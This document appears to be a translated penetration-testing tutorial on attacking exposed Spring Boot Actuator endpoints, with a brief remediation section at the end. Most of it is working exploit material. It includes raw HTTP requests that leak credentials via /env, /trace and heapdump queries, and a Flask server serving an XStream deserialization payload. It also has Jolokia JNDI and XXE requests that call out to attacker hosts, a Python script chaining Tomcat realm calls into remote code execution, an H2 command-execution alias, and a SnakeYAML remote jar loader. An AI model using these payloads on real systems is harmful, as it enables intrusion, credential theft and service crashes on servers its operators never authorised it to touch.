0. Background

Actuator endpoints allow you to monitor and interact with your application. Spring Boot includes a number of built-in endpoints, and you can add your own as well. For example, the health endpoint provides basic application health information.

dirsearch supports scanning for Actuator endpoints.

1. Vulnerability Detection

Identifying SpringBoot

  • /error, There was an unexpected error (type=None, status=<font style="color:rgb(0, 0, 0);">999</font>).
  • /resume, There was an unexpected error (type=Method Not Allowed, status=<font style="color:rgb(0, 0, 0);">405</font>).

For Spring 1x, they are registered under /; in 2x, they were moved to the /actuator/ base path.

Identifying Actuator

Refer to https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt

Important routes:

Common spring boot functionality
/dump - displays the thread dump (including stack traces)
/autoconfig - displays the auto-configuration report
/configprops - displays configuration properties
/trace - displays the last few HTTP messages (may contain session identifiers)
/logfile - outputs the contents of the log file
/shutdown - shuts down the application
/info - displays application information
/metrics - displays "metrics" information for the current application
/health - displays the application's health indicators
/beans - displays the complete list of Spring Beans
/mappings - displays all MVC controller mappings
/env - provides access to the configuration environment
/restart - restarts the application


2. Vulnerability Exploitation

0x01 /env Leading to Information Disclosure

Search globally for password, pwd

Via **${name}** ** you can retrieve plaintext fields**

For example, for the gitPassword variable, send the following request, then POST arbitrary content to refresh, to retrieve the corresponding information (obtain the password via basic authentication):

POST /env HTTP/1.1
Host: 0.0.0.0(actual IP or host address)
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

eureka.client.serviceUrl.defaultZone=http://${gitPassword}@0.0.0.0:8080

Ps: Normally you need to wait 3 seconds for a response packet. If it returns immediately, the service may be missing the spring-boot-starter-actuator extension package, in which case the refresh vulnerability cannot be exploited.

A trick that requires no VPS

When both /env and /trace are available, you can send a POST request to localhost and leak the password through /trace.

Say my actuator is running on port 8090; then POST ${PID} to localhost:

POST /env HTTP/1.1
Host: actuator:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

eureka.client.serviceUrl.defaultZone=http://${PID}@127.0.0.1:8090/poc/${PID}

Then just go look for the plaintext value under /env!

0x02 Eureka-Client <1.8.7 XStream Deserialization Vulnerability

Note: This vulnerability overwrites the remote host’s configuration. It is recommended to save the original defaultZone first and change it back after exploitation is finished, otherwise the service may crash.

  • The defaultZone field exists in /configprops
  • The Eureka field exists in /health

Exploitation script (Windows):

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
	xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                  <string>cmd</string>
                  <string>/c</string>
                  <string>calc.exe</string>
                  </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
	return Response(xml, mimetype='application/xml')

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8)

Note that the command to execute goes inside <string>. Tested: the following payload also works on Windows:

  • <string>cmd /c calc.exe</string>

First, run the Python script above to bring up the exploitation VPS

①POST /env

POST /env HTTP/1.1
Host: actuator:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

eureka.client.serviceUrl.defaultZone=http://127.0.0.1:8/

②POST /refresh

POST /refresh HTTP/1.1
Host: actuator:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

③Restore the original defaultZone

One more small detail: for Spring 2.x, a JSON Content-Type is required:

POST /actuator/env HTTP/1.1
Host: actuator:8090
Content-Type: application/json
Content-Length: 0

{"name":"eureka.client.serviceUrl.defaultZone", "value":"http://0.0.0.0:8/"}

Likewise, POST refresh also requires setting Content-Type: application/json

0x03 /jolokia reloadByURL Vulnerability

The “reloadByURL” operation provided by the Logback library allows us to reload the logging configuration from an external URL

  • In /jolokia/list, the reloadByURL value exists

PoC

Get

/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/[DNSLOG]!/logback.xml

Receive

It contains JDK version information. And of course, as you know, this approach works with DnsLog

JNDI=>RCE

HTTP Server, host logback.xml with the following content:

<configuration>
  <insertFromJNDI env-entry-name="rmi://[ip]:[port]/1u4fif" as="appName" />
</configuration>

Then set up a malicious RMI server listening on port 1099

(You can use JNDI-Injection-Exploit to set up the malicious RMI service)

Finally, just send a request to the Actuactor and it’s done

GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/[http.server]!/logback.xml HTTP/1.1
Host: actuator:8090

XXE

Under the /jolokia/list directory, if the logback component exists, you can use jolokia to remotely include a logback.xml configuration file, causing blind XXE.

GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:8!/logback.xml HTTP/1.1
Host: actuator:8090

Trying to use XXE for DoS will fail — the JDK imposes restrictions…

0x04 /jolokia createJNDIRealm Deserialization

  • In /jolokia/list, createJNDIRealm exists
  • If the target site has the jolokia endpoint enabled and the createJNDIRealm method exists, a JNDI injection RCE test can be performed

There are 5 steps in total:

  1. Create the JNDIRealm
  2. Write contextFactory as RegistryContextFactory
  3. Write connectionURL as your RMI Service URL
  4. Stop the Realm
  5. Start the Realm to trigger the JNDI injection

It’s all integrated into the script below!

As before, first set up the malicious RMI server (you can use JNDI-Injection-Exploit), then modify the payload below

import requests as req
import sys
from pprint import pprint
import json
import ssl
import  urllib3
import hashlib
urllib3.disable_warnings()
ssl._create_default_https_context = ssl._create_unverified_context
 
#### Payload ####
URL = "http://actuator:8090/" + "/jolokia/"
RMI_SERVER = "rmi://[vps]:1099/uqeu9k"

#Create the JNDIRealm
create_JNDIrealm ={"mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"]}

#Write contextFactory
set_contextFactory ={"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

#Write connectionURL as your own public RMI service address
set_connectionURL = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": RMI_SERVER}

#Stop the Realm
stop_JNDIrealm = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": []}

#Run the Realm, triggering the JNDI injection
start = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": []}
 
EXPs = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
 
for i in EXPs:
    rep = req.post(URL, json=i)
    print(rep.text)

print("Done!")

Run the script and you get RCE! No side effects observed…

0x05 H2 RCE

Spring Boot 2.x has an RCE caused by improper H2 configuration

  • GET /actuator/restart returns status code 405
  • POST /actuator/restart returns status code 415 (without specifying Content-Type)

Exploitation process:

1

POST /actuator/env HTTP/1.1
Host: actuator:8080
Content-Type: application/json
Content-Length: 348

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('cmd /c calc.exe');"}

2

POST /actuator/restart HTTP/1.1
Host: actuator:8080
Content-Type: application/json
Content-Length: 0

This will crash the service (use with caution!!!)

0x06 SnakeYAML RCE

Pull the vulnerable environment (repository/springcloud-snakeyaml-rce) and run it; running it under docker is recommended.

First, create a payload.yml file and place it in the web directory

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:88/payload.jar"]
  ]]
]

Next, clone the https://github.com/artsploit/yaml-payload repository locally, and modify the command to execute in src/artsploit/AwesomeScriptEngineFactory.java, as shown in the figure

Then, POST /env to update

POST /env HTTP/1.1
Host: actuator:9092
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

spring.cloud.bootstrap.location=http://127.0.0.1:88/payload.yml

Update via the refresh endpoint

POST /refresh HTTP/1.1
Host: actuator:9092
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

0x07 /heapdump

When downloading /heapdump returns 403, /heapdump.json can be downloaded successfully

Eclipse Memory Analyzer :https://www.eclipse.org/mat/downloads.php

Open the tool, file->open heap dump, select the downloaded file, click the OQL tab, type into the query box, and click the red exclamation mark to execute the SQL statement

  • For spring boot 1.x heapdump query results, the final results are stored in the key-value of a java.util.Hashtable$Entry instance
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
  • For spring boot 2.x heapdump query results, the final results are stored in the key-value pairs of a java.util.LinkedHashMap$Entry instance. This article tested the springboot 2.x version, combined with env information for searching
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

3. Vulnerability Remediation

0x01 Add Authentication

First, in pom.xml, add the dependency

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-security</artifactId>
</dependency>

Then, configure the account and password in application.properties

management.security.enabled=true
security.user.name=admin
security.user.password=admin123

After configuration, everything under /* except /info requires basic authentication to access, e.g. http://actuator:8090/env, which affects normal usage~

First option: disable all endpoints.

Configure in application.properties

endpoints.enabled = false

Second option: disable some endpoints

Likewise configured in application.properties

①First disable all

②Then re-enable some endpoints

endpoints.enabled = false
endpoints.metrics.enabled = true
endpoints.health.enabled = true

The effect looks like this

Accessing /metrics and /health works fine

Accessing /env likewise fails

Refs